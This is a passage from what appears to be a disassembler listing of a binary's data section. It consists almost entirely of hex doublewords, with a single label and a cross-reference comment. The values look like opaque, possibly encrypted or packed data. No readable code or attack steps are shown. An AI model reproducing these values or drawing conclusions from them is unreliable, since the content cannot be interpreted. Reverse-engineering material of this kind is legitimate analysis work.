0B1BE2F53h dd 0C36D175Ch, 44E8C86Ch, 6276926Ch, 28565B23h, 0D4841CEDh dd 75C84292h, 6A4CCB91h, 5A70158Ch, 0A3FB8202h, 0AA0075E9h dd 0EB078413h, 0CB1B7783h, 0C24EAC46h, 0CF6E960Eh, 9EA66775h dd 0ABFC2938h, 0BBC974BBh, 74F453D3h, 7FD127A6h, 0D9853405h dd 0BD5ABFDFh, 399B7EA7h, 9C27915Bh, 44A1F54Eh, 97ACFB89h dd 83545470h, 971001DBh, 405D103Dh, 33610ACBh, 0B5EC8189h dd 836802B5h, 9F25A89Eh, 416D710Bh, 0BB9FD17Eh, 0A636FBDEh dd 0DC6DCF64h, 1D9C9436h, 45DC412Dh, 0F8590944h, 0C3C968BAh dd 4D56A0A3h, 0AB977866h, 0B085D54h, 8D92530h, 691C4CB2h dd 8BEE8FEh, 0FFD00AEBh, 0A7D99072h, 9223E724h, 2F02350h dd 99A233D2h, 5C57404Ah, 727E7143h, 0E1220A2Eh, 7A34907Bh dd 12BF0EBCh, 0E71E90FFh, 498658DAh, 1156A1BCh, 0E35EF8CCh dd 0ADFF7E54h, 891D9064h, 4BD73F55h, 61FD9AE4h, 95C2E7C7h dd 2546B449h, 0FE071C60h, 0AACCF97Bh, 5FCBCC4Bh, 0CD5A3BA7h dd 44FE234Fh, 3125F50Eh, 0B7DFBAA5h, 979E328Ah, 3FE727A3h dd 0F02CB986h, 0B7F7BC9Dh, 2A1A2A04h, 94A2B0BCh, 3AB3110Fh dd 4A3AA9F8h, 8129E4EAh, 0E822075Eh, 3F179A71h, 0BC0F68E8h dd 0F0FBAF0Ah, 0CAEEE140h, 0A497F175h, 2CEF8AA3h, 3B0CFABBh dd 5C533AB5h, 0AE70DD67h, 0EDF21828h, 379A188Dh, 0DBA232A8h dd 0AE00B281h, 9DC0DE2Ah, 4B48F6A8h, 550FE68h, 0F8EF0A5h dd 1A354C9Ch, 7956756Ch, 9D0B128Ah, 4E30A841h, 152D9B8Bh dd 0DA7C9A9h, 6D9A84EAh, 0BDA38F5Bh, 7F545DF2h, 96AF8E74h dd 29198D4Fh, 1188BF98h, 0E728B069h, 5AFD42D5h, 9016516Fh dd 5BA13AC6h, 0A3262E15h, 0ABE555C9h, 2A4FF51Bh, 7933D177h dd 40DB05B8h, 78D5C7CBh, 18014653h, 3A4F6984h, 6CB15C42h dd 0AFE37104h, 1A77AA16h, 9776211Ah, 5A03489Eh, 0DE12A5C7h dd 2C17025h, 33E45E3Ah, 8A39C534h, 0E819C647h, 7B1B1713h dd 0D885BF00h, 0A0E4A85Eh, 7F3E394Ch, 8C02AE04h, 0E9BA4363h dd 30262A5Ch, 0F92579CAh, 0BFA76DCEh, 0E186295h, 12AE1280h dd 0C0E80193h, 5FC933EDh, 2AC9DA0Ch, 7246E99h, 709FA76Dh dd 0A0F75FE4h, 8CC3A8CDh, 53487F54h, 735D93DDh, 85BBF426h dd 0EFF98B33h, 0A19A5285h, 9515C62Eh, 80883A0Eh, 3FAE143h dd 0A5B20D8Ah, 3329FEE8h, 0AF9BFA45h, 8724B4E5h, 7CDA7027h dd 97E49158h, 592E3B69h, 0B1AF78F3h, 2AE9BDC7h, 0BFDCA929h dd 82E3B75Eh, 9B2BA679h, 81B62168h, 93D192CEh, 0B6555082h dd 18CD7DA8h, 0E4DE3462h, 0D7452834h, 6DCAF7E1h, 6CB3D72Ch dd 45CF3656h, 0A0C78CBh, 0A0F4567Dh, 0F7118EE4h, 16DBA9FEh dd 3AC09E09h, 0E50B3409h, 348E2DC3h, 0E7C6A7EEh, 8F934EF0h dd 0FD1A4CE9h, 0AAD19B27h, 508BF8h, 5AD86A31h, 0DEDF8AD3h dd 37AA403h, 0E1EA4BE7h, 1BCF3D2Fh, 0E5563156h, 7404BFA7h dd 22ED72B1h, 5D988A29h, 57411036h, 0F0469610h, 7DD51DE1h dd 272807C3h, 81CF4ADBh, 6CF7FBE6h, 12F462A6h, 53F308CBh dd 0C103EEB9h, 9002FEBBh, 71DCFE7h, 68F216D9h, 0CEC3FD08h dd 0EFB694D0h, 66BAC6D7h dd 0D177A69Eh, 9CEDE81Bh, 9F0D9B13h, 2C770029h, 0E8E284F1h dd 0D457EB68h, 8CB3D999h, 0C597775h, 673F0EF6h, 0CDE2F609h dd 411E7F97h, 6769A0E2h, 0ABB86D5Ah, 931D63ADh, 3FC6F424h dd 84F645D4h, 49E3E6D4h, 0B6408868h, 0BAB00FE7h, 0D80EB103h dd 601B96EFh, 78D38090h, 936F47C5h dword_43005C dd 9DAA13A7h, 3286F2Ch, 0E854404Bh, 55D6FE25h, 838D3292h ; DATA XREF: .data:0041A720o dd 0D803830Bh, 0FF3FE069h, 0E47EEEB5h, 0EEC13E31h, 42E4E65Ch dd 0D08F91C1h, 0BAA85D3Fh, 3E1ACADDh, 35C84A95h, 0A40135CCh dd 0DEF320BDh, 62B7D1Ah, 55126162h, 0C3EBF1EEh, 0B167F26Ch dd 65505427h, 0E8786871h, 4244DB22h, 0CE0B21B8h, 0ECF17678h dd 2FC19CD3h, 25D02BFCh, 0D03D62E6h, 910CA269h, 0F854B78Ah dd 404BEE55h, 97BAE63Bh, 50956418h, 31427648h, 0F41B70FBh dd 2E726C59h, 0BA337920h, 0F82CB726h, 51A5DD22h, 6FD1CA9Fh dd 1AC0F5A4h, 8F4BE763h, 0EC5DC32Eh, 6B8B1073h, 2034A73h dd 0D5288123h, 425DE510h, 312A71C6h, 274B273Fh, 3F5D5B1Ch dd 0ACB9F840h, 89F2336Eh, 97C2D297h, 4BAF8CE3h, 3E97F145h dd 0E405474Ch, 261F77Fh, 22D882BFh, 40C04831h, 0F7F4D7E2h dd 7FCD31E2h, 6BF9C74Eh, 78AC40ACh, 0C6FE12A0h, 0C4BB6A43h dd 4886D79Ch, 6A743ACAh, 14546E05h, 0B6BF43EFh, 950C0316h dd 0A975BD7Ah, 1C9B757Ch, 9CA404F9h, 2156B598h, 2BB59410h dd 0EB8D7A17h, 0F86C5A25h, 4F9AB332h, 0CCE724D2h, 0E18306FBh dd 99EF89A4h, 0EBE9D2CEh, 21A1C7C6h, 11357B94h, 8AF9F639h dd 998649A3h, 0CA1C03D4h, 9099F79Ch, 67AE0852h, 0F7AC714Fh dd 35B628A4h, 14952571h, 310C9A55h, 0D8A89A32h, 0AD24604Eh dd 0F47306D1h, 8CB2908Bh, 0F70BC6C7h, 227D8EACh, 2D45981h dd 8FFC366Dh, 0B72FA772h, 53577A55h, 253A9ED1h, 568DB6C3h dd 0D48B2F90h, 706A1ACDh, 788E358Fh, 457F5B0Ah, 0B09406A5h dd 0CF5609C8h, 51D32A9Eh, 0EA2C3EE5h, 5D9B2063h, 74E48C06h dd 0C47EE992h, 0FFCE7C12h, 8B7CF0BFh, 77013B1Ah, 263859Fh dd 0AF40CB5Eh, 8FBFCC9Eh, 11616DB7h, 0C5DFED31h, 9E0BDD0Bh dd 0CD2FF165h, 4338DC19h, 0B8E8283Ah, 17902751h, 9D2B4239h dd 17B42212h, 68D97D4Ah, 338AB2DDh, 3C0A11Eh, 0F7141EA1h dd 0EB527F19h, 0E9EE6144h, 0FE38B6F0h, 4D477047h, 1EA5109Eh dd 4D4E482Ch, 89C350F6h, 0E46395D6h, 0AEF87E88h, 1C0F6435h dd 0D32E0C6Eh, 2A0EFE79h, 368031F7h, 0F172A2EFh, 0E5D7AEC5h dd 4D954D84h, 31065F93h, 304A3A72h, 0A692AF6h, 98285A29h dd 52D0C61Dh, 8A3924D8h, 42DDD1D8h, 9D94DE28h, 8E954BBFh dd 0C75DBF51h, 0A9988472h, 0F531D772h, 6E386852h, 54930555h dd 4FBB6570h, 6C41B068h, 0B2B14D02h, 24053DC7h, 5D39FFE3h dd 0CC59B889h, 0A383E481h, 5FE14131h, 0ADD86F5Dh, 18D3A9D9h dd 996573EDh, 0DDDC2B2Fh, 0E928E02Fh, 0FF343847h, 0A5148FF8h dd 0E5BD049Bh, 77876B86h, 0ADC25FB1h, 7089E468h, 9C454B5Bh dd 733E7385h, 0BF385FF7h, 63E64D85h, 0D0BC7A86h, 5B6A1AEBh dd 0ADA40D90h, 4E8E5539h, 77FFAC29h, 816C77EDh, 5821EA33h dd 4D3CF12Fh, 6AD51012h, 0F1CB9253h, 8ECB48D3h, 18312F78h dd 208F9471h, 0FCCEAF98h, 802DEDFCh, 0CCA6F4h, 29E9B5F9h dd 9115F9E6h, 2BA79AAEh, 0CB84937Dh, 49701CE0h, 5398772Fh dd 8206D8ABh, 2136AE8Ch, 71F39DF9h, 0C6D35DB8h, 53304EAh dd 6610B3B7h, 0B7A8ED86h, 4AF1786Ah, 0D409C9C8h, 0F087AE7Dh dd 57E8DD64h, 6728A28Bh, 3FE1FCC1h, 0C7FA6C49h, 3625D41h dd 25D03CE0h, 6BE02184h, 0D42FDEFDh, 21088BBh, 0F5062597h dd 0DC2CDA26h, 264F75D4h, 1AA707EAh, 858ED464h, 452A8Ch dd 0C9441564h, 0AAF37BFBh, 4095C5F2h, 9E9C95A2h, 777C4B7Ch dd 0EC41BCF8h, 508E1729h, 90607DC5h, 0D6E9A519h, 220E967Eh dd 34D99850h, 20A40BACh, 802D375Bh, 8BFAD518h, 0BE1CF7E4h dd 5E016273h, 0EF1CEAE9h, 4A37E6D1h, 93EDC82Ah, 21C6A4F3h dd 60625D08h, 4F19BAB7h, 83898C68h, 0F428969Dh, 9C0BF4CEh dd 508BEDF4h, 1C207C17h, 64578D3Eh, 23103E8Eh, 0ECFB1304h dd 97EDDACDh, 0F294EE2Ch, 3034D67Dh, 52AF9933h, 8EE77CD5h dd 30BCC9ACh, 5874D953h, 0A09AAE06h, 84EA7A31h, 9D2DF082h dd 6B7AF877h, 0CFC5F077h, 0E7360293h, 2C5026B6h, 5A383F3h dd 94CEAFD4h, 70C933Ch, 0F239C4Bh, 71F3C67Ah, 0B95005AEh dd 0B029CD4Ah, 8045C091h, 80D3E85Ah, 0F24B5730h, 3AA436D0h dd 370EEEC1h, 4152D21Ah, 0D3C9A032h, 0D0C547AAh, 0D778FA66h dd 2B083970h, 9E1EF5E9h, 0C8830E3Eh, 50E0A639h, 7C458C62h dd 0DB3B2975h, 398FF92Ch, 0BBEC26C8h, 0EDD38901h, 1C3D4DEDh dd 9C45F2D9h, 459535D6h, 9D7927ADh, 4B4C2CABh, 0AE382400h dd 27361922h, 40076A00h, 0DBAF817Bh, 7888FD6h, 0E865469Eh dd 0BBFBDD9Fh, 0F7C112AFh, 7B1615B4h, 0ADE72E45h, 0AB0064BCh dd 6B2656CEh, 0F6209BADh, 0EE9F9F25h, 33E447F8h, 47B8043Dh dd 59D5BDC2h, 3C935DC6h, 838CA7Fh, 57660C2Ah, 6E1FEBA2h dd 97559810h, 0B3712429h, 10A38F15h, 336C2D48h, 0B3A0234Eh dd 0CFA6244Fh, 0FD1F42E6h, 0CBBAA010h, 0D96E33BFh, 6E52EE25h dd 316381DBh, 208FEB02h, 1E6BA56Eh, 0B0EC55F4h, 5309FB34h dd 21FAB090h, 2DBA1357h, 0BABEBD62h, 115FA74Ah, 430A20D3h dd 73631E58h, 1D08F928h, 2048D4E0h, 0DDA101BAh, 3C77ADB1h dd 558A65B8h, 0A3E4630Ah, 0DA377C10h, 0AEFB95D9h, 18266B1Bh dd 6F4E95B5h, 0CE0A398Ah, 192B4A53h, 83A649E0h, 77F2F8E9h dd 0E9CB5FBh, 0DA6ABCC6h, 0BC3DEE25h, 7A6955A7h, 0A7D2ED19h dd 78AA5CCCh, 0C783C4BBh, 0D915D5E9h, 0BB48BFE1h, 8D0E1777h dd 1B441A85h, 0F8FDC362h, 82522967h, 7A7F9FE3h, 8B20CF4h dd 7D364D40h, 6476E428h, 964ECA7Ch, 15021B1h, 6359CA46h dd 0B129B4B2h, 1739BE28h, 443E9993h, 6B6FFB4Fh, 0EEBEAC74h dd 0B8644828h, 0D6749601h, 1450FCE2h, 0C9B74029h, 0A60317DDh dd 0DD5AA181h, 0AAFA122Eh, 73B6E8B4h, 0DC547D35h, 0BF8904B8h dd 0B32D6D17h, 5E4E511Fh, 3FF0051Ch, 0BC57613Fh, 8ADE77FFh dd 5BD9FB73h, 692AE56Ch, 0F5821DE3h, 0E1297A2Fh, 0D031B6B1h dd 84F0E37Dh, 1BF32982h, 0C080D95h, 0AA88B778h, 1A578E21h dd 92D2BB27h, 0BB370A92h, 5C596449h, 88ADC51Fh, 0F72B6520h dd 0FA40392Bh, 3DBFD7DBh, 0F42FE096h, 4306DF30h, 0ADEEF9Eh dd 6C48E999h, 0D0D53702h, 18CCE7DDh, 0AF132C0Ah, 910C2967h dd 56C9CEE5h, 0A10376CBh, 3A83747Bh, 83729627h, 0DD8F2620h dd 0CCDDA6E5h, 85896C94h, 0E9DBA9C2h, 0F6771353h, 13A3FBF9h dd 12620D5Ah, 9EF85D4Ch, 63417B0Bh, 35E23A87h, 0ECA8806Eh dd 4A28AF79h, 1CAE73A4h, 0EBC02F6Ah, 714F4632h, 5CEBDD7Ch dd 0E431956h, 84D4D548h, 39F4C347h, 0BBC54784h, 0BBC3575Ah dd 1A402E68h, 7C4FE023h, 11F7AFFBh, 0D2AB9801h, 6C34D22Fh dd 15E4E84Ch, 0DCF180D3h, 6A12DF94h, 0F635573Fh, 8293EB0Fh dd 539934B9h, 0CBDFBBF8h, 2F1B3455h, 5650AB8Dh, 5BD72CFFh dd 0BF9A1EE8h, 2ED56918h, 827F59D4h, 141B1B09h, 0E647E3CDh dd 33FB5CC1h, 0E496C9ECh, 0B9EABC7h, 0D4C2D104h, 48C247A2h dd 0A4D3ED8Ch, 44E83C0Ah, 0F3852648h, 96252668h, 16252719h dd 0A4001D74h, 0FF7A6F7h, 0B1AC38C4h, 687E6BD6h, 42C4C7DBh dd 0DBC8F117h, 7F1A1131h, 0E97C1540h, 88DBCB90h, 0FD883B08h dd 6AA7AAD1h, 0E3462EBBh, 0CBC49FA6h, 33DAE80Ch, 7F333C84h dd 0F2760591h, 0BC0E81E2h, 0C3855E3Ah, 0FE106EB3h, 3C836B11h dd 0D6422F24h, 6E8741Dh, 222B1325h, 901414F9h, 13A4216Fh dd 88BC1737h, 3F168C28h dd 36EFFE3Ah, 0E79711h, 0DB3BA855h, 0FBDB7A8Bh, 7CDB1941h dd 8B8A5ADh, 0C8A1F376h, 9EC9ECB5h, 58920E23h, 0CB78BC4Fh dd 0F309070Dh, 0D27C1F72h, 0FD45829Ch, 5601F35Fh, 104A115Ah dd 206838B4h, 1AA9C42Ch, 0BD723798h, 3591931Dh, 641AC82Dh dd 0E9B18D47h, 10F7B4C6h, 0FC7EEDBAh, 5B68F409h, 4E66ACB4h dd 0AA560F4Ch, 4080A1C3h, 0EEDE80DBh, 0A7F47F7Ch, 4F87A1Eh dd 7A836A3Bh, 38344FBBh, 92C21562h, 559301D4h, 301610DFh dd 0B98214C8h, 0A4E9D21Dh, 0EDA9F070h, 44D3C707h, 0F527252h dd 7E16D397h, 0B79804E1h, 83AF33A7h, 1E54A6ADh, 9A588B8Ah dd 728C5CB4h, 2C3F68B3h, 292DD9CDh, 14C0A074h, 0E21F3B92h dd 40B87598h, 56660FB5h, 63ADA2AFh, 0CDA78C41h, 0E254728Eh dd 0FFAEE3B8h, 8337B5C5h, 3560614Bh, 0CF3986C9h, 8E07EEE4h dd 0A24FC4FAh, 0A2855657h, 0C1A83C0Dh, 0B29BA2DAh, 92DFBF86h dd 93D2E568h, 647ED824h, 0A5727343h, 83040C3Eh, 6649B403h dd 2740985h, 9412715Ch, 0C333A107h, 0BAFC233Dh, 0AD2D68EBh dd 31636BB0h, 20471695h, 964FEB48h, 0E282C46Eh, 1CCDB4D9h dd 45CB659Eh, 3912F004h, 540EE11Ch, 9BD0CB81h, 9CE4F2BAh dd 0DE2C1ADh, 0ED77DD16h, 0FD47E7Fh, 7A9933DDh, 0DEFBD7E9h dd 5D748531h, 0D03A3E42h, 0B97DD6E5h, 32F553FBh, 0E62EEF90h dd 8CDA9516h, 0AD6D64BBh, 12B8D2A3h, 0AEA8DCEh, 5D022205h dd 0F64FB15Fh, 8CCF0694h, 16FB832Fh, 3F04BD1h, 417443E9h dd 8C71B13Ah, 1833BB2Fh, 0F350B479h, 0D79E4497h, 0A0471FA2h dd 0ADA7933Ch, 7EABDF85h, 20248836h, 0BFE67F95h, 0F428C532h dd 41FCB788h, 0C10C9799h, 91BB6DC8h, 54BD773Eh, 0BEE71754h dd 17CB6224h, 0BD427D8Fh, 0AAEFF7E1h, 403E9BCEh, 0EC72B488h dd 0A32FA58Dh, 29F75AF0h, 0A20E38EEh, 9F05DE70h, 7DDC7AD1h dd 66BCCC65h, 81BEE1A5h, 0BCD40C92h, 0FBC03E5Dh, 5AF8EA5h dd 5C5646EDh, 13AB9ACBh, 28043FAFh, 5CDD78D7h, 0D7E43F2Eh dd 6433DAA7h, 0B5DB6E75h, 5E4236CAh, 1A6C3CC9h, 0B7165DF7h dd 463C044Ch, 94324C86h, 0DE615D40h, 0F91A0D2Eh, 51BD9660h dd 7E2F14DCh, 302661C5h, 0C3C36AC0h, 0D526160Bh, 17A56886h dd 300BB908h, 0CCB4C08Ah, 608BBD55h, 9A081B75h, 0FDC44AC4h dd 271933EFh, 9E33BED6h, 46FB83F8h, 0D666DB71h, 0FC25FF9Eh dd 0EB86CA37h, 65088DABh, 39454635h, 0C7C78B18h, 9F2E72BFh dd 0BD98AC59h, 75E5A206h, 0B69CFEA8h, 17746448h, 649B3D5Ah dd 0A2E08437h, 90A14ED9h, 44E97C53h, 9C9B67C5h, 89E8FD44h dd 22773A0Ch, 16F7312Ch, 0DFFF95AEh, 0E9FCE258h, 60D609AEh dd 30E0D852h, 0EE1081D7h, 6B59031Dh, 584507F5h, 26922D80h dd 0C77EA8E3h, 0B5A660BDh, 87331D75h, 7B067978h, 79A9E174h dd 20DC5D4Ah, 5E10107Eh, 0CFBFA8C5h, 4A19BAD5h, 5739B8FCh dd 47787679h, 0A71DAC4Fh, 0B1284708h, 0C12827E2h, 90C9EB6h dd 0B426820Fh, 0ADB310F9h, 595CA43Ah, 88990D05h, 47D66A27h dd 0BAC017E9h, 0FF79A3B2h, 0BA2F1556h, 656823C7h, 9B1EC3E6h dd 0EFB0FE2Eh, 9099105Fh, 0B3D87C8Ah, 42B5A4DFh, 0A76AAD29h dd 474DC12Fh, 9D4AB63Ah, 88207CBDh, 0B01E9446h, 0DA77FF22h dd 0ECCE6B30h, 169F1448h, 0B3DA2099h, 5BB10051h, 0ECF37338h dd 4AD4117Ah, 442212FFh, 4CA64C59h, 27FA1760h, 0DA3449Dh dd 0BEF414Bh, 7C809FF0h, 9E09D8E9h, 2B922B6Bh, 40F8E5Dh dd 55C2C766h, 5741272Bh, 2AAA107Ah, 17815A42h, 0FE4997B7h dd 6B604807h, 8545F8BAh, 983748C0h, 0C6F73229h, 55445453h dd 74829487h, 39D674B2h, 0FE862CCh, 86666125h, 13E40186h dd 0A278C35Eh, 85EDCC9Dh, 658B953Ah, 626E4E14h, 61838D08h dd 1584C41Dh, 0E5C11D13h, 13FC61E9h, 261756C3h, 0A461F467h dd 7ACBB5D7h, 345A543Ch, 76AF5C1h, 7F5B65Eh, 4B3B8B8Ah dd 2A49F061h, 9F3FF448h, 7F06BBFCh, 53376AF4h, 3D5EEC21h dd 278B166Dh, 2CB45B22h, 664349ABh, 0CFD71EE7h, 1386612Bh dd 0BD8FCE47h, 83707F3Fh, 0BD2AE1C4h, 0C409B1D7h, 0F0645DCDh dd 0CBFFAA20h, 8FAC7ED3h, 0D71913A2h, 0FC69E210h, 24475CC8h dd 0D7E39B32h, 4E02F698h, 8A836A3h, 0B67A6A95h, 9E8870F7h dd 89F342E8h, 9442BA48h, 0D4A4ACE7h, 0C02680D1h, 0BB82CFE6h dd 7C23455Ah, 69719BA4h, 0F55FBBCFh, 3C0A980Eh, 0C0BAE088h dd 0F778E24Eh, 7AF950B9h, 0E7C8B3DEh, 3229A5A2h, 226A7B3Ch dd 957DBA2Fh, 284C5C41h, 0E059B4E5h, 6E161625h, 0BB6CAB4Ah dd 7DDDA55Bh, 40433BB5h, 8E227683h, 0B7D775FEh, 58168EC2h dd 0CE0C8D46h, 4ECCB36Ah, 3D5CF1F7h, 81CF851Ch, 53550231h dd 21A1F23Ah, 5153DBDh, 827DD96Bh, 2932DE0Ah, 20BEC1C1h dd 72057005h, 0EC2DC986h, 927D17D3h, 695D0696h, 117B29D0h dd 0AB48DAFDh, 9665A410h, 45D1BCB1h, 0CCB376Ah, 0DF502398h dd 6D360A94h, 49C3D4C6h, 5F2BA47Ch, 0D775E03Bh, 0BF812332h dd 209E84D9h, 0CAF61848h, 0D0C29753h, 0CF3FEA0Fh, 65FC3938h dd 0BCFA8834h, 0B68BF11Ah, 7849EA3Eh, 2B26900h, 0FD89820Bh dd 0E253BBEh, 6B5ECB73h, 0A397C98Ch, 624B31D2h, 0A4338873h dd 0DB8F72A5h, 0E41B5CE8h, 0C21DDDE6h, 0B2584CAAh, 9CA7974Ah dd 9DE9E17Fh, 0BC4F16B3h, 0C4674DE4h, 0FAB1841Dh, 4946E055h dd 1ACB0A56h, 4F37851h, 0B89498AEh, 2D90D71Ah, 0F29242ADh dd 6564225Ah, 47F9A521h, 188FF380h, 996387ECh, 233706A8h dd 0EC1A0C8h, 6A69B55Ch, 0F1527AF5h, 7C445BBFh, 47058139h dd 39B8C840h, 0E3DAE060h, 0D47B12DFh, 0E17843D1h, 0F00EF6B4h dd 0FB44A824h, 1A94BA75h, 9C66023Dh, 0D8DFABF7h, 0A05BDAABh dd 73ACE91Bh, 0A5A30C96h, 0E380BE97h, 0A88CF5CBh, 0BE3E0684h dd 2A66489Dh, 41524640h, 0A9D84E2Dh, 0EDFD2C9Fh, 135C7604h dd 0B55057C9h, 321EAB2Fh, 4F8CCA6Dh, 1E073398h, 2DD88C70h dd 0EE20D4E0h, 6622B7A4h, 925C1450h, 463A05Dh, 0E149207Bh dd 30620E9Ch, 9133E298h, 657CB37Eh, 91E5911h, 81720236h dd 127A3E65h, 3AEA133h, 40E9CB5Dh, 394A1DB8h, 0BFA6E023h dd 24A1F482h, 0C8B684Eh, 0E67F9C37h, 0FA82E224h, 70B7BEA0h dd 936A62FCh, 0E83E3C74h, 914B2BBCh, 91DE28CCh, 443AECABh dd 0AFA97283h, 0D2F589DCh, 88AEDA51h, 0A3095263h, 229DC5BEh dd 72CCBB5Ah, 1D202374h, 597F608Fh, 0CE45A2D1h, 17691A4Fh dd 0ACE08DD4h, 659E3A50h, 13735C8Ah, 0F53965D5h, 0C6610059h dd 62D356C1h, 24BBA8CCh, 2992B2FFh, 9C3ADBD1h, 72E40963h dd 0F48E539Ch, 3F6EDE5Ch, 8F9801BBh, 0E389D515h, 48FAD09h dd 77AC1796h, 46D75D1Fh, 32D63E21h, 30241F19h, 0C433F5EAh dd 7E4424CDh, 0B63F2AADh, 3D7FD42Eh, 574A6867h, 0B47B6E76h dd 2FD71581h, 8EC8EE7h, 0F8A71A65h, 0F8816A37h, 0D7603DB3h dd 0EE9CC461h, 0FB7AC039h, 1AFB07E1h, 78F06AABh, 709FECBh dd 4C1243F5h, 25C7D401h, 0BEF20AD0h, 0A740C441h, 8DD86E16h dd 271AF957h, 0E6283ADBh, 0B17AB653h, 6DB713CBh, 17482E55h dd 0D5E8C840h, 377F8483h, 7A406F76h, 921EA180h, 6D695AACh dd 0C724DCBh, 6CA439F6h, 366054EFh, 0AC267194h, 0C52B0950h dd 3A677684h, 4022F97Eh, 0D0A6EF0Ah, 8AA95DA8h, 816AB861h dd 0EF4FD58h, 0C8E9D618h, 40036856h, 0CB0AA7EBh, 2D70F374h dd 8BE2489Dh, 5BA9786Ch dd 3EB1AFA4h, 0F7FFEBD8h, 52730C1Ah, 0CB9771B6h, 0CFCAD85Ch dd 0B5B74EA7h, 2E375C2Fh, 0B40CDABh, 8911DB08h, 1E47DAA0h dd 0EBD80A5Dh, 2365DD35h, 9FFF5664h, 0D0784EA6h, 8B19BC68h dd 0E50753E9h, 89F65319h, 0D98EC622h, 886BA36Fh, 872E283Ch dd 0EBB8D87Ch, 78D055B4h, 6B2CF27Ch, 1C84CEBAh, 0D2B51AB0h dd 3347BA7h, 0AA233787h, 7237DC09h, 9A993CFEh, 0FF70D43Bh dd 9E0D3E43h, 0EF5F8DC4h, 0FEB3A29Eh, 20CF3B6Dh, 0F1F7E27Eh dd 0CDABDE96h, 2A89A144h, 3BD6E8Bh, 4C6FE405h, 0A13C8E9Fh dd 0CB607BABh, 4F74BB9h, 30A2070Ah, 0AE24C66Ah, 6D8482CCh dd 18A93815h, 239C1792h, 30BA81EDh, 1047BEE3h, 5E2E31C3h dd 0DD456D14h, 0C27079h, 0BEC9EC64h, 47B8B793h, 0F38C3C62h dd 0A7EAFBD5h, 0EE2880D8h, 0BF7D504h, 84745430h, 5D08D7FAh dd 7AB5F826h, 518EC558h, 10CFD62Bh, 8B4B8FDh, 0F69817BEh dd 3A58BD18h, 0E8A87545h, 1E9E8888h, 0D4754D1Dh, 4D2FDE9Dh dd 0F38C5EA5h, 0B87A9D63h, 315725FAh, 3150E046h, 265B2CD0h dd 0F0F73D4Ch, 3AE2740Bh, 0F8EDDAA0h, 0D78D19E8h, 939655A9h dd 0F0695190h, 160381E7h, 9F1E08BEh, 60B1AC19h, 23ACD328h dd 6913DA3Ch, 5D130A77h, 5C42849Ah, 0CA4B0C3Fh, 68210C8Bh dd 1CDC35D0h, 36945789h, 132B6E3h, 0A61DD152h, 22E79C30h dd 0CE9AC3E6h, 3F0F0D98h, 0E37F6F15h, 0F340F41h, 8CD647B3h dd 0D895734Bh, 8959455Ch, 949C9B02h, 80A00B95h, 8451471Ch dd 0A670A481h, 0E8A7A30h, 17F768A6h, 663F41D3h, 0E3E95A6Ah dd 0DFCC5739h, 0A8500B4Fh, 2AD2077Bh, 0AD6E0950h, 73D09CB8h dd 0AE4ECE69h, 6C01F1E4h, 0A7A64355h, 0A084A52Ch, 0DB60D8A0h dd 1D734C8Ah, 16C4E7FAh, 8EF5F376h, 0BFBFC372h, 0C0F9F2BFh dd 33B83D7Ch, 0F00A817h, 122FC280h, 63E5BB58h, 4CA135F7h dd 7B74Dh, 0AC8C7C45h, 0A36276C8h, 0BDD171A5h, 78A5CB7Fh dd 4E3A9279h, 2ACF11F5h, 0C422647Dh, 7F21D912h, 5D946871h dd 2D63E6CDh, 0EE716A63h, 0DF1C170Ah, 14D955EDh, 1659003Bh dd 880A7284h, 0D819371Dh, 0D41E160Eh, 0F1B8C96Eh, 3987B02Ah dd 0D26B311Ah, 0D1F0A95Fh, 0C5C2618Fh, 8843D0D8h, 663ECC85h dd 7CB7A765h, 7FB0EB73h, 7EFF8F7Eh, 0E4AFE5C5h, 277F9D60h dd 0E30F2272h, 0D33F875Bh, 7B694BB5h, 72FB2629h, 189B5A36h dd 6F4E90F1h, 404C01A4h, 0F9CD5C8Fh, 9C9ACDCDh, 0F690D071h dd 3107D9D7h, 0DB1E50E6h, 0DFF98509h, 9978D12Eh, 3F31DBFAh dd 12B654CEh, 0EF314620h, 0C1A4B4C8h, 0D3C1F627h, 9168ED7Fh dd 0D82E6E1Ch, 703CA502h, 2AB46AC6h, 2940FE05h, 0B49EAC4Fh dd 29E86672h, 0B08BD053h, 33AB8279h, 0B36A8DF2h, 1AC8A780h dd 0AF8EF066h, 0D05DB97Ch, 0A5F70BBBh, 0E7491F79h, 5FC56190h dd 0D8F3F47h, 0DD8CB1B1h, 441EBAD9h, 8344D93Eh, 7E4382Bh dd 0B44B046h, 17E73B13h, 75B1619Ah, 515791BAh, 872A8883h dd 6D67AD7h, 2CF33F76h, 93AE8B74h, 7BB5490Bh, 6AAE9FC1h dd 2745A7EFh, 47F22478h, 0C8D209AAh, 0E561D783h, 0B093FA7Dh dd 0F168E9BFh, 0D54D6D9Ch, 0ED579FB6h, 976776h, 45E4CFA6h dd 92391305h, 37B7712Fh, 500119AEh, 0C075E933h, 88DD701Ch dd 0DA4A5353h, 90717468h, 1DDC1F99h, 0E5EF9961h, 2D371DCEh dd 0F20EEBA5h, 0FE5E8158h, 1474CDAAh, 564EBCF7h, 1B0E5B90h dd 28D41FFh, 0FE5DDC34h, 248BA103h, 5AF581FDh, 3254D7A4h dd 0C3E13E82h, 14C8F569h, 31344C5Ch, 4496D4A3h, 1FC084FCh dd 63B5B683h, 79C3022Fh, 89ABCE7Dh, 3FF08235h, 0AF64159h dd 7D88FC32h, 0DCF89BC3h, 0A6227A0Bh, 107202D9h, 398E0B84h dd 1BF19565h, 97E612D8h, 125E1E30h, 0C472ACB3h, 56BDD492h dd 39426A1Eh, 9798825h, 580D2825h, 37B0807Ch, 0D3FD8411h dd 6E48D5E9h, 0E3E9B4B0h, 9578CAC6h, 0D90A5E53h, 0AA72305Ch dd 898029AAh, 2C66FA1Fh, 30D24CAFh, 61575AE1h, 8B33C1D1h dd 0DE1A8620h, 0CAC4A2BEh, 0EC0F3153h, 0B1CFBE05h, 27D65CB1h dd 97916301h, 6B97AB61h, 5EE19FFh, 93CBDCCAh, 2904D544h dd 1939A4B1h, 0D984B3BEh, 0CB457D7Ah, 0BF874A1Ch, 541561FBh dd 7528E344h, 0F51CE54Ah, 3252A40Bh, 0A217835Dh, 0ED6BBBC1h dd 0BDC8ED74h, 6268B44Ah, 5214335Ah, 0E53E1AC9h, 2F2DF270h dd 8DA97410h, 0EF0579DFh, 74DC181Fh, 8A75CC98h, 2A0A916Bh dd 48678F63h, 786490DEh, 4063AA36h, 268C49F2h, 0B89ADDC6h dd 0DBFAD609h, 656DB678h, 0AD6DE336h, 4A57D00Ch, 682EB219h dd 4E9B6A0Fh, 145E6EC4h, 1A1F97F7h, 0F0CC15ECh, 64589FE5h dd 